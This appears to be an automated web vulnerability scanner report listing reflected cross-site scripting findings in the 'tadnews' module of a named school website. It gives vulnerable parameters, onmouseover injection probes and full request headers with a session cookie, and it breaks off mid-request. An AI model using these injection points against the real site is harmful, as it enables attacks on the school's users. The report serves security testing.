GET /modules/tadnews/index.php?g2p=1"onmouseover=jJPo(9186)"&tag_sn=1 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/index.php
Verified vulnerability

Details

URL encoded GET input g2p was set to 1"onmouseover=MRoS(9903)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tadnews/index.php?amp;tag_sn=1&g2p=1"onmouseover=MRoS(9903)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/index.php
Verified vulnerability

Details

URL encoded GET input g2p was set to 1"onmouseover=RPvD(9709)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tadnews/index.php?g2p=1"onmouseover=RPvD(9709)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/index.php
Verified vulnerability

Details

URL encoded GET input g2p was set to 1"onmouseover=6Wte(9912)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tadnews/index.php?g2p=1"onmouseover=6Wte(9912)"&show_uid=3 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/index.php
Verified vulnerability

Details

URL encoded GET input g2p was set to 1"onmouseover=Co7K(9827)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tadnews/index.php?g2p=1"onmouseover=Co7K(9827)"&ncsn=1 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/index.php
Verified vulnerability

Details

URL encoded GET input g2p was set to 1"onmouseover=cHk4(9303)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tadnews/index.php?amp;ncsn=1&g2p=1"onmouseover=cHk4(9303)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/index.php
Verified vulnerability

Details

URL encoded GET input ncsn was set to 1"onmouseover=FR4R(9224)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tadnews/index.php?ncsn=1"onmouseover=FR4R(9224)"&nsn=1 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/index.php
Verified vulnerability

Details

URL encoded GET input ncsn was set to 1"onmouseover=22rH(9545)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tadnews/index.php?ncsn=1"onmouseover=22rH(9545)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/index.php
Verified vulnerability

Details

URL encoded GET input ncsn was set to 1"onmouseover=Co7K(9236)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tadnews/index.php?g2p=1&ncsn=1"onmouseover=Co7K(9236)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/index.php
Verified vulnerability

Details

URL encoded GET input nsn was set to 15"onmouseover=IARs(9049)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tadnews/index.php?nsn=15"onmouseover=IARs(9049)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql2;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/index.php
Verified vulnerability

Details

URL encoded GET input nsn was set to 1"onmouseover=FR4R(9537)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tadnews/index.php?ncsn=1&nsn=1"onmouseover=FR4R(9537)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/index.php
Verified vulnerability

Details

URL encoded GET input op was set to tufdl"onmouseover=Zhnu(9152)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tadnews/index.php?files_sn=1&op=tufdl"onmouseover=Zhnu(9152)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/index.php
Verified vulnerability

Details

URL encoded GET input show_uid was set to 3"onmouseover=4uCL(9223)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tadnews/index.php?show_uid=3"onmouseover=4uCL(9223)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/index.php
Verified vulnerability

Details

URL encoded GET input show_uid was set to 3"onmouseover=6Wte(9894)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tadnews/index.php?g2p=1&show_uid=3"onmouseover=6Wte(9894)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/index.php
Verified vulnerability

Details

URL encoded GET input tag_sn was set to 1"onmouseover=Qe8V(9425)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tadnews/index.php?tag_sn=1"onmouseover=Qe8V(9425)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/index.php
Verified vulnerability

Details

URL encoded GET input tag_sn was set to 1"onmouseover=jJPo(9293)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tadnews/index.php?g2p=1&tag_sn=1"onmouseover=jJPo(9293)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/newspaper.php
Details

URI was set to ;9108'();}]9623 
The input is reflected inside a <script> tag between single quotes.

Request headers



GET /modules/tadnews/newspaper.php/%3B%39%31%30%38%27%28%29%3B%7D%5D%39%36%32%33 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/newspaper.php
Verified vulnerability

Details

URL encoded GET input nsn was set to 1"onmouseover=Cv8j(9456)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tadnews/newspaper.php?nsn=1"onmouseover=Cv8j(9456)"&op=delete_tad_news
HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/newspaper.php
Verified vulnerability

Details

URL encoded GET input op was set to delete_tad_news"onmouseover=Cv8j(9299)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tadnews/newspaper.php?nsn=&op=delete_tad_news"onmouseover=Cv8j(9299)"
HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/page.php
Details

URI was set to ;9274'();}]9883 
The input is reflected inside a <script> tag between single quotes.

Request headers

GET /modules/tadnews/page.php/%3B%39%32%37%34%27%28%29%3B%7D%5D%39%38%38%33 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/page.php
Verified vulnerability

Details

URL encoded GET input ncsn was set to 2"onmouseover=0KaN(9990)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tadnews/page.php?ncsn=2"onmouseover=0KaN(9990)"&nsn=9 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
